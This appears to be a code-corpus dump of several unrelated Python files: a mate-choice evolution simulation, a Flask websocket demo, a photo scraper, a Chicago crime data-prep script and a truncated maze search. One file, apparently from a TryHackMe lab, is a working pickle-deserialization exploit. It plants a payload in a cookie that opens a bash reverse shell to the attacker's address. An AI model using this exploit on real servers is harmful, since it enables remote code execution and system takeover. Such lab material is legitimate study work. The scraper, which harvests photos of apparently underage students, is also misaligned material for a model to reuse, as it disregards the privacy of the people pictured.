mate-guard their mates. Range: 0.0 to 1.0. \"\n \"Default: 0.1\")\n group1.add_argument('--female_choosiness', type=float, default=0.4,\n help=\"Female choosiness. Default: 0.4\")\n group1.add_argument('--male_choosiness', type=float, default=0.2,\n help=\"Male choosiness. Default: 0.2\")\n group1.add_argument('--qual_x_choosiness', type=float, default=0.2,\n help=\"How much one's quality affects one's choosiness (0.0 - not at all, \"\n \"1.0 - only factor). Default: 0.2\")\n group1.add_argument('--qual_x_num_kids', type=float, default=0.1,\n help=\"How much parent quality contributes to the number of children \"\n \"(0.0 - not at all, 1.0 - only factor). Default: 0.1\")\n group1.add_argument('--parental_investment', type=float, default=0.25,\n help=\"Controls the impact of parental investment on child quality \"\n \"(0.0 - none, 1.0 - only factor). Default: 0.25\")\n\n # output parameters\n group2 = parser.add_argument_group(\n 'Output', 'how/where output is written')\n group2.add_argument('--output_level', default=2, type=int,\n help=\"how verbose should the output be (to have output written \"\n \"every generation, set to >= 2). Default: 2\")\n group2.add_argument('--output_file', default=None, type=str,\n help=\"File to write output to (if not set, will write to \"\n \"stdout). Default: None\")\n group2.add_argument('--output_dir', type=str, default=None,\n help=\"output directory (will create one if one does not \"\n \"already exist). Default: None\")\n\n # scheduler arguments\n group3 = parser.add_argument_group(\n 'scheduler', 'for scheduler program only -- do not set these when calling this program directly')\n group3.add_argument('--varargs', type=str, default=None,\n help=\"which parameter fields add to every output line\")\n group3.add_argument('--trial_id', type=int, default=None,\n help=\"numeric trial id\")\n group3.add_argument('--experiment', type=str, default=None,\n help=\"a comma-separated list of experiments to run\")\n\n args = parser.parse_args(args, namespace=namespace)\n assert args.single_mother_fertility >= 0.0\n assert args.male_baseline_variability >= 0.0\n assert args.female_baseline_variability >= 0.0\n return args\n\n\ndef stats(arr):\n arr = np.array(arr)\n d = {}\n d[\"min\"] = np.nan if arr.size == 0 else np.min(arr)\n d[\"max\"] = np.nan if arr.size == 0 else np.max(arr)\n d[\"median\"] = np.median(arr)\n d[\"mean\"] = np.mean(arr)\n d[\"sum\"] = np.sum(arr)\n d[\"std\"] = np.std(arr)\n return d\n\n\ndef to_struct(iterable):\n \"\"\"\n convert to structured array\n \"\"\"\n dtype = [('genotype', 'b'), ('quality', ' 0:\n male_tuples[\"quality\"] += (args.male_age_penalty * nmales_old) / nmales_total\n np.random.shuffle(male_tuples)\n result.append({\"females\": female_tuples, \"males\": male_tuples})\n return result\n\n\ndef learn_mate_quality(data, args):\n \"\"\"\n Convert choosiness into percentile-based equivalent of qualities of the\n opposite-sex cohort\n \"\"\"\n # because choosiness is on the 0..1 scale and quality on the -inf..inf\n # scale, convert choosiness to logit value before mixing the two.\n # we can safely ignore divide by zero errors here because infinities\n # get converted to 1.0 after sigmoid transform\n with np.errstate(divide='ignore'):\n fclogit = logit(args.female_choosiness)\n mclogit = logit(args.male_choosiness)\n qcc = args.qual_x_choosiness\n for pool in data:\n females = pool[\"females\"]\n males = pool[\"males\"]\n fqi = females[\"quality\"]\n mqi = males[\"quality\"]\n\n # When there are no males in the pool, the females cannot learn\n # their expected mate quality, and vice versa.\n if len(mqi) > 0:\n fci = 100.0 * sigmoid(qcc * fqi + (1.0 - qcc) * fclogit)\n np.percentile(mqi, fci, out=females[\"mate_quality\"])\n\n if len(fqi) > 0:\n mci = 100.0 * sigmoid(qcc * mqi + (1.0 - qcc) * mclogit)\n np.percentile(fqi, mci, out=males[\"mate_quality\"])\n\n\ndef trim_ordered_cohorts(females, males):\n \"\"\"\n assuming two groups of opposite sexes ordered by quality, find the\n sizes of the subgroups that allow matches\n \"\"\"\n midx_ = midx = len(males) - 1\n fidx_ = fidx = len(females) - 1\n while True:\n midx = (males[\"quality\"] >= females[fidx][\"mate_quality\"]).sum() - 1\n if midx < 0:\n break\n fidx = (females[\"quality\"] >= males[midx][\"mate_quality\"]).sum() - 1\n if fidx < 0:\n break\n # loop until indices stabilize\n if fidx_ == fidx and midx_ == midx:\n break\n fidx_ = fidx\n midx_ = midx\n return fidx + 1, midx + 1\n\n\ndef get_married_couples_linsum(females_, males_):\n \"\"\"\n Use linear sum assignment (Hungarian method implementation in SciPy) to\n solve the marriage problem without ordering restriction (very slow for\n large pools)\n \"\"\"\n mqual = sigmoid(males_[\"quality\"])\n fqual = sigmoid(females_[\"quality\"])\n mexp = sigmoid(males_[\"mate_quality\"])\n fexp = sigmoid(females_[\"mate_quality\"])\n\n C = np.zeros((len(females_), len(males_)), dtype='= mexp[midxs]) & (fexp[fidxs] <= mqual[midxs])\n return fidxs[mask], midxs[mask]\n\n\ndef get_married_couples_dynprog(females_, males_):\n \"\"\"\n Use dynamic programming to find an optimal matching under ordering\n restriction.\n\n This is basically Needleman-Wunsch global alignment except we store\n directions in a separate matrix a la Smith-Waterman to simplify things.\n \"\"\"\n mqual = sigmoid(males_[\"quality\"])\n fqual = sigmoid(females_[\"quality\"])\n mexp = sigmoid(males_[\"mate_quality\"])\n fexp = sigmoid(females_[\"mate_quality\"])\n\n C = np.ndarray((len(females_) + 1, len(males_) + 1), dtype=' 0 and ci > 0:\n d = D[ri, ci]\n if d == 0:\n if C[ri - 1, ci - 1] < C[ri, ci]:\n # have marriage\n fidxs.append(ri - 1)\n midxs.append(ci - 1)\n ri -= 1\n ci -= 1\n elif d == 1:\n ri -= 1\n else:\n ci -= 1\n\n fidxs_ = np.fromiter(reversed(fidxs), dtype=np.int64)\n midxs_ = np.fromiter(reversed(midxs), dtype=np.int64)\n return fidxs_, midxs_\n\n\ndef get_married_couples_fast(females, males):\n \"\"\"\n Speed up matching by observing that the continuous sequence i=0..n, j=0..n,\n i=j is always a part of optimal sequence that maximizes sum of qualities of\n individuals in married couples, if the individuals are ranked by quality in\n dscending order and if the condition of marriegability is monotonously\n dependent on quality.\n \"\"\"\n # clip inputs, assuming cohorts sorted in desccending order by quality\n top_males = males[:females.size]\n top_females = females[:males.size]\n mask = (top_females[\"quality\"] >= top_males[\"mate_quality\"]) & \\\n (top_females[\"mate_quality\"] <= top_males[\"quality\"])\n unmatched = np.where(~mask)[0]\n\n if unmatched.size == 0:\n indices = np.arange(mask.size)\n return indices, indices.copy()\n\n idx_unmatched = unmatched[0]\n\n last_fidx, last_midx = trim_ordered_cohorts(females, males)\n fidxs_extra, midxs_extra = get_married_couples_dynprog(\n females[idx_unmatched:last_fidx], males[idx_unmatched:last_midx])\n\n joined = np.arange(idx_unmatched)\n fidxs = np.concatenate([joined, fidxs_extra + idx_unmatched])\n midxs = np.concatenate([joined, midxs_extra + idx_unmatched])\n return fidxs, midxs\n\n\ndef get_pregnant(data, args):\n \"\"\"\n Our goal is to find close-to-optimal matchings based on 1) expected number\n of children, and 2) propensity of high quality individuals to marry high\n quality partners, since we expect evolution of cultural systems and of\n mating behavior to tilt that way as well. When perfect matchings are\n computationally prohibitive, we choose the next best option by imposing an\n ordering restriction (a lower quality female will always be married to a\n lower quality male than the female above her, and vice versa when sexes are\n inverted). In practice, the perfect matchings obtained with \"linear sum\"\n hungarian method are very similar to the ones obtained via dynamic\n programming with ordering restriction.\n \"\"\"\n inherit_from_father = args.inheritance_pattern == \"male\"\n fmg = args.female_mate_guarding\n\n for pool in data:\n females = pool[\"females\"]\n males = pool[\"males\"]\n females[::-1].sort(order=\"quality\")\n males[::-1].sort(order=\"quality\")\n\n # first see who we can marry\n fidxs, midxs = get_married_couples_fast(females, males)\n\n if fidxs.size > 0:\n if inherit_from_father:\n females[\"genotype\"][fidxs] = males[midxs][\"genotype\"]\n females[\"mate_quality\"][fidxs] = males[midxs][\"quality\"]\n males[\"matched\"][midxs] += 1\n females[\"matched\"][fidxs] += 1\n\n # left-over females get to sleep around\n single_female_idx = np.where(females[\"matched\"] == 0)[0]\n if single_female_idx.size == 0:\n continue\n\n absent_fathers = []\n single_mothers = []\n males_idx = np.arange(males.size)\n males_quality = males[\"quality\"]\n males_availability = np.ones(males.size, dtype=males_quality.dtype)\n males_availability[males[\"matched\"] > 0] *= (1.0 - fmg)\n for female_idx in single_female_idx:\n mqi = females[female_idx][\"mate_quality\"]\n psel = males_availability.copy()\n psel[males_quality < mqi] = 0.0\n total = psel.sum()\n if total == 0.0:\n continue\n absent_fathers.append(np.random.choice(males_idx, p=(psel / total)))\n single_mothers.append(female_idx)\n if single_mothers:\n if inherit_from_father:\n females[\"genotype\"][single_mothers] = males[absent_fathers][\"genotype\"]\n females[\"mate_quality\"][single_mothers] = males[absent_fathers][\"quality\"]\n keys, values = zip(*Counter(absent_fathers).iteritems()) or ([], [])\n males[\"matched\"][list(keys)] += np.array(values)\n\n\ndef assign_sex(n):\n nmales, nfemales = split_in_two_gt(n)\n result = np.array([1] * nmales + [0] * nfemales)\n np.random.shuffle(result)\n return result\n\n\nclass Intergenerational(object):\n\n def __init__(self, args, genotypes):\n estimator_names = args.estimators.split(\",\")\n self.estimator = Estimator(estimator_names)\n self.genotypes = genotypes\n self.gcounts = {g: [] for g in genotypes}\n self.gcounts[\"total\"] = []\n self.deep_stats = {\n \"malequal_x_matches\": {\n \"quality_sumsq\": defaultdict(float),\n \"quality_sum\": defaultdict(float),\n \"count\": defaultdict(int)\n },\n \"femalequal_x_children\": {\n \"quality_sumsq\": defaultdict(float),\n \"quality_sum\": defaultdict(float),\n \"count\": defaultdict(int)\n }\n }\n\n def inspect_cohort(self, stats_key, cohort, keys):\n section = self.deep_stats[stats_key]\n quality_sq = section[\"quality_sumsq\"]\n quality = section[\"quality_sum\"]\n count = section[\"count\"]\n qs = cohort[\"quality\"]\n qsqs = qs * qs\n for k, q, qsq in izip(keys, qs, qsqs):\n quality[k] += q\n quality_sq[k] += qsq\n count[k] += 1\n\n def process_generation_stats(self, stats):\n curr_counts = stats['genotypes']\n [self.gcounts[g].append(curr_counts[g]) for g in self.genotypes]\n self.gcounts[\"total\"].append(curr_counts[\"total\"])\n\n def get_deep_stats(self):\n cs = self.deep_stats[\"genotypes\"] = self.gcounts\n delta = self.deep_stats[\"delta\"] = {}\n for g in self.genotypes:\n delta[g] = self.estimator.estimate(cs[g], cs[\"total\"])\n return self.deep_stats\n\n\nclass NBInterface(object):\n\n def __init__(self, args, ig):\n self.args = args\n self.ig = ig\n\n # stats\n self.stats = {}\n self.adj = {}\n self.adj_coeff = 1.0\n self.expected_kids_per_pool = []\n\n def get_adj_quals(self, cohort):\n # for negative binomial, mean = p * r / (1 - p)\n #\n # assume r stays constant and there are ps and pm such that\n # mean_s / mean_m = . We solve this for ps given\n # ratio fs and pm. Then, ps = fs * pm / [1 - pm * (1 - fs)]\n\n NBr = self.args.binom_failures\n fs = self.args.single_mother_fertility\n NBp1 = 2.0 / (NBr + 2.0)\n NBp0 = fs * NBp1 / (1.0 - NBp1 * (1.0 - fs))\n with np.errstate(divide='ignore'):\n NBp1_logit = logit(NBp1)\n NBp0_logit = logit(NBp0)\n\n qs = cohort[\"quality\"]\n mqs = cohort[\"mate_quality\"]\n\n qxn = self.args.qual_x_num_kids\n\n mask1 = cohort[\"matched\"] > 0 # married\n mask0 = ~mask1 # single\n\n # for single mothers, only the quality of the mother contributes to offpsring quantity\n qualvec = np.zeros(shape=qs.shape, dtype=qs.dtype)\n qualvec[mask1] = (1.0 - qxn) * NBp1_logit + qxn * rescale(0.75 * qs[mask1] + 0.25 * mqs[mask1], NBp1_logit)\n qualvec[mask0] = (1.0 - qxn) * NBp0_logit + qxn * rescale(qs[mask0], NBp0_logit)\n\n return qualvec\n\n def calculate_expected_kids(self, cohort):\n # to keep population stable, we need to know how many kids to expect\n # so we can tell the random number generator to make more or less of them\n qualvec = self.get_adj_quals(cohort)\n\n # p/(1-p) where p = 1/(1+exp(-t)) is equal to 1/exp(-t)\n NBr = self.args.binom_failures\n return NBr * np.sum(1.0 / np.exp(-qualvec))\n\n def draw_random(self, cohort, adj_coeff):\n # derive number of children per female using negative binomial distribution\n qualvec = self.get_adj_quals(cohort)\n\n # invert the sigmoid beause Numpy's negative_binomial(n, p) models number of\n # successes until n failures where p is probability of failure, so if p\n # is low, the number of successes will be very high\n NBr = self.args.binom_failures\n return negative_binomial(adj_coeff * NBr, sigmoid(-qualvec))\n\n def get_premarriage_stats(self, data):\n # just count the genotypes\n gc = Counter({1: 0, 2: 0})\n male_quals = np.ndarray(len(data), dtype=np.float32)\n female_quals = np.ndarray(len(data), dtype=np.float32)\n male_counts = np.ndarray(len(data), dtype=np.int64)\n female_counts = np.ndarray(len(data), dtype=np.int64)\n for i, pool in enumerate(data):\n males = pool[\"males\"]\n females = pool[\"females\"]\n gc.update(males[\"genotype\"])\n gc.update(females[\"genotype\"])\n male_counts[i] = len(males)\n female_counts[i] = len(females)\n with np.errstate(invalid='ignore'):\n male_quals[i] = np.mean(males[\"quality\"])\n female_quals[i] = np.mean(females[\"quality\"])\n\n self.stats[\"avg_male_qual\"] = np.sum(male_counts * male_quals) / male_counts.sum()\n self.stats[\"avg_female_qual\"] = np.sum(female_counts * female_quals) / female_counts.sum()\n gc[\"total\"] = sum(gc.values())\n self.stats[\"genotypes\"] = gc\n\n def get_postmarriage_stats(self, data):\n # find number of single mothers as well as that of matched mothers\n unmatched_males = 0\n matched_males = 0\n total_expected = 0\n\n self.expected_kids_per_pool = []\n\n for pool in data:\n males = pool[\"males\"]\n females = pool[\"females\"]\n matched_males += (males[\"matched\"] > 0).sum()\n unmatched_males += (males[\"matched\"] == 0).sum()\n # determine how many children we expect to have\n num_kids = self.calculate_expected_kids(females)\n self.expected_kids_per_pool.append(num_kids)\n total_expected += num_kids\n\n self.stats[\"matched_males\"] = matched_males\n self.stats[\"unmatched_males\"] = unmatched_males\n self.stats[\"expected_kids\"] = total_expected\n\n def inherit_parent_qualities(self, children, mothers, num_kids):\n \"\"\"Calculate parental contribution\n\n We consider parental contribution to child's quality to be additive\n (even low-quality parents contribute a non-negative amount, and\n contribution from two parents, even if both are of \"negative\" quality\n should always be greater than that from a single one). Furthermore, the\n amount of the contribution is inversely proportional to the number of\n children in the family. The non-negativity of contribution necessitates\n converting to some form of non-negative space. The scale of the\n contribution is controlled by the `parental_investment' parameter.\n After adding parental contribution, we ensure the mean is what it\n originally was because our world here is zero-sum.\n \"\"\"\n quality = children[\"quality\"]\n mask1 = mothers[\"matched\"] > 0\n mask0 = ~mask1\n\n # assuming quality is a purely phenotypic trait that is not heritable\n # outside of the variability genotype\n qs = sigmoid(mothers[\"quality\"])\n mqs = sigmoid(mothers[\"mate_quality\"])\n\n contrib = np.ndarray(shape=quality.shape, dtype=quality.dtype)\n contrib[mask1] = qs[mask1] + mqs[mask1]\n contrib[mask0] = qs[mask0]\n contrib /= (2.0 * num_kids)\n contrib = logit(contrib)\n\n quality -= quality.mean()\n\n pif = self.args.parental_investment\n result = (1.0 - pif) * quality + pif * rescale(contrib, quality, std=True)\n children[\"quality\"] = rescale(result, quality, std=True)\n\n def raise_children(self, data):\n # draw number of children from negative binomial distribution\n desired = 2 * self.args.pool_size\n children_per_pool = []\n for idx, pool in enumerate(data):\n expected = self.expected_kids_per_pool[idx]\n\n adj_coeff = float(desired) / expected\n\n # if zero kids are expected, we skip pool\n if expected == 0.0:\n continue\n\n females = pool[\"females\"]\n children_count = self.draw_random(females, adj_coeff)\n total_kids = children_count.sum()\n children_per_pool.append(total_kids)\n self.ig.inspect_cohort(\"femalequal_x_children\", females, children_count)\n\n sexvector = assign_sex(children_count.sum())\n cfemalegen = []\n cfemale_mother = []\n cfemale_num_kids = []\n cmalegen = []\n cmale_mother = []\n cmale_num_kids = []\n cid = 0\n # Note: the females[\"genotype\"] here is actually father's genotype\n # (all females are paired with only one male for simplicity)\n for (num_kids, g, f) in izip(children_count, females[\"genotype\"], females):\n for child in xrange(num_kids):\n if sexvector[cid] == 0:\n # female\n cfemalegen.append(g)\n cfemale_mother.append(f)\n cfemale_num_kids.append(num_kids)\n else:\n # inherit father's genotype\n cmalegen.append(g)\n cmale_mother.append(f)\n cmale_num_kids.append(num_kids)\n cid += 1\n cfemales = cohort_from_genotype(\n cfemalegen, {2: self.args.g2_female_variability},\n baseline_variability=self.args.female_baseline_variability)\n self.inherit_parent_qualities(cfemales, to_struct(cfemale_mother), np.array(cfemale_num_kids))\n cmales = cohort_from_genotype(\n cmalegen, {2: self.args.g2_male_variability},\n baseline_variability=self.args.male_baseline_variability)\n self.inherit_parent_qualities(cmales, to_struct(cmale_mother), np.array(cmale_num_kids))\n\n assert len(cfemales) <= len(cmales)\n\n # select lucky males who get to live one more generation\n males = pool[\"males\"]\n all_male_indices = np.arange(len(males))\n fresh_male_indices = np.where(males[\"age\"] == 0)[0]\n lucky_male_indices = np.array([], dtype=fresh_male_indices.dtype) \\\n if fresh_male_indices.size == 0 \\\n else np.random.choice(\n fresh_male_indices,\n int(max(0.0, (self.args.male_lifespan - 1.0)) * fresh_male_indices.size),\n replace=False)\n unlucky_male_indices = np.setdiff1d(all_male_indices, lucky_male_indices, assume_unique=True)\n unlucky_males = males[unlucky_male_indices]\n # inspect unlucky males before retiring them\n # undo the effect of age for comparison sake\n unlucky_males[\"quality\"] += self.args.male_age_penalty * unlucky_males[\"age\"]\n self.ig.inspect_cohort(\"malequal_x_matches\", unlucky_males, unlucky_males[\"matched\"])\n lucky_males = males[lucky_male_indices]\n lucky_males[\"age\"] = 1\n lucky_males[\"quality\"] -= self.args.male_age_penalty\n pool[\"females\"] = cfemales\n new_males = np.concatenate([cmales, lucky_males])\n # because we subtracted quality from a subset of males,\n # adjust quality of all males by corresponding amount s.t.\n # average quality remains zero\n if new_males.size > 0:\n new_males[\"quality\"] += (self.args.male_age_penalty * lucky_males.size) / new_males.size\n if self.args.male_lifespan < 1.0:\n new_males = np.random.choice(\n new_males, int(round(self.args.male_lifespan * new_males.size)), replace=False)\n pool[\"males\"] = new_males\n self.stats[\"children_per_pool\"] = stats(children_per_pool)\n self.stats[\"adj_coeff\"] = adj_coeff\n\n def migrate(self, data):\n pm = self.args.dispersal / 2.0\n migrants = []\n for pool in data:\n d = {}\n\n males = pool[\"males\"]\n np.random.shuffle(males)\n pmm = int(round(len(males) * pm))\n d[\"males\"] = males[:pmm]\n pool[\"males\"] = males[pmm:]\n\n females = pool[\"females\"]\n np.random.shuffle(females)\n pmf = int(round(len(females) * pm))\n d[\"females\"] = females[:pmf]\n pool[\"females\"] = females[pmf:]\n\n migrants.append(d)\n # perform circular roll to random index from range [1, len(migrants) - 1]\n migrants = np.roll(migrants, np.random.randint(low=1, high=len(migrants)))\n # assimilate migrants that are guaranteed to be from another pool\n for pool, boat in zip(data, migrants):\n pool[\"males\"] = np.concatenate([pool[\"males\"], boat[\"males\"]])\n pool[\"females\"] = np.concatenate([pool[\"females\"], boat[\"females\"]])\n\n\ndef run(args):\n if args.seed is not None:\n np.random.seed(args.seed)\n data = setup_simulation(args)\n ig = Intergenerational(args, genotypes=[1, 2])\n\n output_file = args.output_file\n if args.trial_id is not None:\n # called by the scheduler\n if output_file is None and args.output_dir is not None:\n make_dir(args.output_dir)\n output_file = os.path.join(args.output_dir, \"out.ndjson.%d\" % args.trial_id)\n elif output_file is not None and args.output_dir is not None:\n make_dir(args.output_dir)\n output_file = os.path.join(args.output_dir, \"%s.%d\" % (output_file, args.trial_id))\n elif output_file is None and args.output_dir is None:\n # write to stdout\n pass\n elif output_file is not None and args.output_dir is None:\n # write to output file\n pass\n else:\n # called by user\n if output_file is None and args.output_dir is not None:\n make_dir(args.output_dir)\n output_file = os.path.join(args.output_dir, \"out.ndjson\")\n elif output_file is not None and args.output_dir is not None:\n make_dir(args.output_dir)\n output_file = os.path.join(args.output_dir, output_file)\n elif output_file is None and args.output_dir is None:\n # write to stdout\n pass\n elif output_file is not None and args.output_dir is None:\n # write to output file\n pass\n\n fh = sys.stdout if output_file is None else open(output_file, 'w')\n varargs = {} if not args.varargs else {k: getattr(args, k) for k in args.varargs.split(\",\")}\n\n # because we count adults and not children, we always need to run\n # (n + 1) generations to get accurate counts for n\n for i in xrange(args.generations + 1):\n stats = {\"generation\": i}\n if varargs:\n stats[\"args\"] = varargs\n nbi = NBInterface(args, ig)\n learn_mate_quality(data, args)\n nbi.get_premarriage_stats(data)\n get_pregnant(data, args)\n nbi.get_postmarriage_stats(data)\n nbi.raise_children(data)\n nbi.migrate(data)\n stats.update(nbi.stats)\n ig.process_generation_stats(stats)\n if args.output_level >= 3:\n logging.info(\"generation: %d, kids: expected %d, actual %d\",\n i, stats[\"expected_kids\"], stats[\"children_per_pool\"][\"sum\"])\n if args.output_level >= 2:\n print(json.dumps(normalize_dict(stats)), file=fh)\n deep_stats = ig.get_deep_stats()\n deep_stats[\"generation\"] = \"*\"\n if varargs:\n deep_stats[\"args\"] = varargs\n result = normalize_dict(deep_stats)\n if args.output_level >= 1:\n print(json.dumps(result), file=fh)\n if fh is not sys.stdout:\n fh.close()\n return result\n\n\nif __name__ == \"__main__\":\n run(get_args())\n","sub_path":"simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":34162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"221514342","text":"from flask import Flask, render_template, request, send_from_directory\r\nfrom flask_socketio import SocketIO, emit\r\nimport os\r\n\r\n\r\napp = Flask(__name__, static_folder='web/static', template_folder='web/template') # , static_url_path='/static'\r\napp.debug = True\r\napp.config['SECRET_KEY'] = 'miko-websocket-project'\r\nsocketio = SocketIO(app)\r\n\r\n\r\n@app.route('/websoket_demo.html')\r\ndef rewrite():\r\n filepath = request.path[1:]\r\n return send_from_directory(os.path.join(app.root_path, 'web/static'), filepath)\r\n\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html')\r\n\r\n\r\n# @socketio.on('my event', namespace='/test')\r\n# def test_message(message):\r\n# emit('my response', {'data': message['data']})\r\n\r\n\r\n@socketio.on('my broadcast event', namespace='/test')\r\ndef test_message2(message):\r\n emit('response', {'msg': message['data'], 'code': '200'}, broadcast=True)\r\n\r\n\r\n@socketio.on('disconnect', namespace='/test')\r\ndef test_disconnect():\r\n print('response', {'msg': 'disconnect', 'code': '200'})\r\n\r\n\r\n@socketio.on('my event', namespace='/test')\r\ndef test_message(message):\r\n emit('response', {'msg': message['data'], 'count': 2, 'code': '200'})\r\n\r\n\r\nif __name__ == \"__main__\":\r\n socketio.run(app, host='0.0.0.0', port=8000)\r\n","sub_path":"bak/reference_code/websocket_demo.py","file_name":"websocket_demo.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"531886776","text":"import base64\nimport requests\nimport argparse\nimport pickle\n\n\nparser = argparse.ArgumentParser(\"Exploit\")\n\nparser.add_argument('--server_ip', type=str, default=\"10.10.64.206\")\nparser.add_argument('--my_ip', type=str, default=\"10.6.32.20\")\n\nargs = parser.parse_args()\n\nclass RevShell:\n\tdef __reduce__(self):\n\t\timport os\n\t\treturn os.system, (f\"bash -c 'bash -i >& /dev/tcp/{args.my_ip}/8888 0>&1'\",)\n\nport=\"5003\"\n\nurl = f\"http://{args.server_ip}:{port}\"\n\npayload = base64.b64encode(pickle.dumps(RevShell())).decode()\n\nprint(\"Getting CSRF token\")\ns = requests.session()\nr = s.get(url)\nmiddleware_token = r.text.split('csrfmiddlewaretoken\" value=\"')[-1].split('\"')[0]\n\ns.cookies['search_cookie'] = payload\n\nprint(\"Triggering reverse shell...\")\nr = s.get(f\"{url}/search\", data= {'csrfmiddlewaretoken': middleware_token})\n\n\n","sub_path":"tryhackme/unbaked_pie/expl.py","file_name":"expl.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"299287742","text":"import os\nimport requests\nimport time\nfrom multiprocessing import Pool\nimport re\nimport hashlib\nfrom concurrent.futures import ThreadPoolExecutor\n\nBASE_URL = 'https://www.duodia.com/gaozhongxiaohua/list_{}.html'\nTOTAL_NUM = 8\nSTORAGE_PATH = r'C:\\xiaohua'\nRET_FAIL = 1\n\ndef get_detail_info(page_url):\n\n detai_urls = []\n try:\n r = requests.get(page_url,timeout = 5)\n except:\n return RET_FAIL\n tmp_urls = re.findall('href=\"(.*?)\"',r.text)\n\n for url in tmp_urls:\n if re.search('gaozhongxiaohua/\\d{1,}',url):\n if url not in detai_urls:\n detai_urls.append(url)\n detai_introductions = re.findall('

(\\w*?)

',r.text)\n\n return {'detail_urls':detai_urls,\"detail_introductions\":detai_introductions}\n\ndef get_detail_max_page_num(detail_url):\n try:\n r = requests.get(detail_url,timeout = 5)\n except:\n return RET_FAIL\n\n PagsNums = re.findall('(\\d{1,2})
',r.text)\n\n return int(PagsNums[-1])\n\ndef getphotourl(detail_page_url,detail_page_num):\n\n tmp_url = detail_page_url.rstrip('.html')+'_{}.html'\n try:\n r = requests.get(tmp_url.format(detail_page_num))\n except:\n return RET_FAIL\n\n photo_url = re.findall('target=\"_self\"> 5 wards grouped. Groups:\nward_dict = {100: [50, 49, 40, 48, 47], 200: [41, 39, 45, 38, 30], 300: [46, 44, 43, 32, 2], 400: [33, 35, 1, 31, 26], 500: [36, 29, 37, 28, 24],\n600: [27, 42, 25, 11, 3], 700: [22, 12, 14, 23, 15] 800: [4, 5, 20, 16, 6], 900: [13, 18, 17, 21, 19], 1000: [7, 8, 9, 10, 34]}'''\n\ndfward = dfdropna.copy()\n#change ward to ints\ndfward['ward'] = dfward['ward'].astype(int)\n\n#Change wards to ward groups under ward_g using hundreds and then change to single integer\ndfward['ward_g'] = dfward['ward'].apply(ward_group)\ndfward['ward_g'] = (dfward['ward_g']/100).astype(int)\n\n#changing domestic to int\ndfward['domestic'] = dfward['domestic'].astype(int)\n\n#changing arrest to int\ndfward['arrest'] = dfward['arrest'].astype(int)\n\n#get dummies for primary type\ndf_dummies_type = pd.get_dummies(dfward['primary_type'], prefix='type')\ndf_dummies_wards = pd.get_dummies(dfward['ward_g'], prefix='ward')\n\n#joining ward and dummies dataframes\ndf_join1 = dfward.join(df_dummies_type)\ndf_joined = df_join1.join(df_dummies_wards)\n#dropping unwanted rows\ndf_joined.drop(columns=['block', 'beat', 'primary_type', 'district', 'ward', 'community_area', 'location_description', 'iucr'], inplace=True)\n# , 'primary_type', 'beat', 'district', 'community_area', 'location_desctription', 'iucr', 'ward']\n#editing columns in joined dataframe\ncols = df_joined.columns.tolist()\ncols = [col.replace(' ', '_').lower() for col in cols]\ndf_joined.columns = cols\ncols = [col.replace('_-_', '_') for col in cols]\ndf_joined.columns = cols\n\n\n#making simplified dataset (2wards, 2types of crime, dropping\ndef north_south(val):\n if val in [50, 49, 40, 48, 47, 41, 39, 45, 38, 30, 46, 44, 43, 32, 2, 33, 35, 1, 31, 26, 36, 29, 37, 28, 24]:\n val = 'north'\n if val in [27, 42, 25, 11, 3, 22, 12, 14, 23, 15, 4, 5, 20, 16, 6, 13, 18, 17, 21, 19, 7, 8, 9, 10, 34]:\n val = 'south'\n return val\n\ndef violent_nonviolent(val):\n if val in ['BATTERY', 'PUBLIC PEACE VIOLATION', 'THEFT', 'WEAPONS VIOLATION',\\\n 'ROBBERY', 'MOTOR VEHICLE THEFT', 'ASSAULT', 'CRIMINAL DAMAGE',\\\n 'BURGLARY', 'STALKING', 'CRIM SEXUAL ASSAULT',\\\n 'SEX OFFENSE', 'OFFENSE INVOLVING CHILDREN',\\\n 'KIDNAPPING', 'HOMICIDE', 'ARSON',\\\n 'HUMAN TRAFFICKING']:\n val = 'violent'\n else:\n val = 'non_violent'\n return val\n\n#making test data set with full dummies for wards and type, this includes domestic\ndf_full_dummies_set = df_joined.drop('ward_g', axis=1)\n\n#making test data set with north/south, violent/nonviolent, arrest, domestic. Random choose 1000.\ndfward['north_south'] = dfward['ward'].apply(north_south)\ndfward['v_nonv'] = dfward['primary_type'].apply(violent_nonviolent)\n\ndf_dummies_ns = pd.get_dummies(dfward['north_south'], prefix='loc')\ndf_dummies_v_nonv = pd.get_dummies(dfward['v_nonv'], prefix='crime')\n\ndf_temp = dfward[['arrest', 'domestic']]\ndf_temp2 = df_temp.join(df_dummies_ns)\ndf_test = df_temp2.join(df_dummies_v_nonv)\n\ndef pd_concat_sampled_df(df, col, val1, val2, sample_size):\n query_string1 = \"{} == {}\".format(col, val1)\n query_string2 = \"{} == {}\".format(col, val2)\n first = df.query(query_string1)\n second = df.query(query_string2)\n samp1 = first.sample(sample_size)\n samp2 = second.sample(sample_size)\n samp1.index = range(sample_size)\n samp2.index = range(sample_size)\n frames = [samp1, samp2]\n final = pd.concat(frames)\n final_shuffle = final.sample(frac=1).reset_index(drop=True)\n return final\n\nif __name__=='__main__':\n five_feat_balanced = pd_concat_sampled_df(df_test, 'arrest', 1, 0, df_test.query('arrest == 1').shape[0])\n five_feat_balanced.to_csv('data_sets/five_feat_balanced.csv')\n\n full_feat_balanced = pd_concat_sampled_df(df_full_dummies_set, 'arrest', 1, 0, df_full_dummies_set.query('arrest == 1').shape[0])\n full_feat_balanced.to_csv('data_sets/full_feat_balanced.csv')\n","sub_path":"data_exploration.py","file_name":"data_exploration.py","file_ext":"py","file_size_in_byte":6840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"340815927","text":"import queue\n\nfor tc in range(1, 11):\n _ = input()\n maap = []\n visited = [[False]*16 for _ in range(16)]\n for _ in range(16):\n temp = [int(char) for char in input()]\n maap.append(temp)\n sy, sx = 0, 0\n ey, ex = 0, 0\n for i in range(16):\n for j in range(16):\n if maap[i][j] == 2:\n sy, sx = i, j\n elif maap[i][j] == 3:\n ey, ex = i, j\n else:\n pass\n\n q = queue.Queue()\n visited[sy][sx] = True\n q.put((sy, sx))\n boool = False\n while q.qsize() != 0:\n cy, cx = q.get()\n if [cy, cx] == [ey, ex]:\n 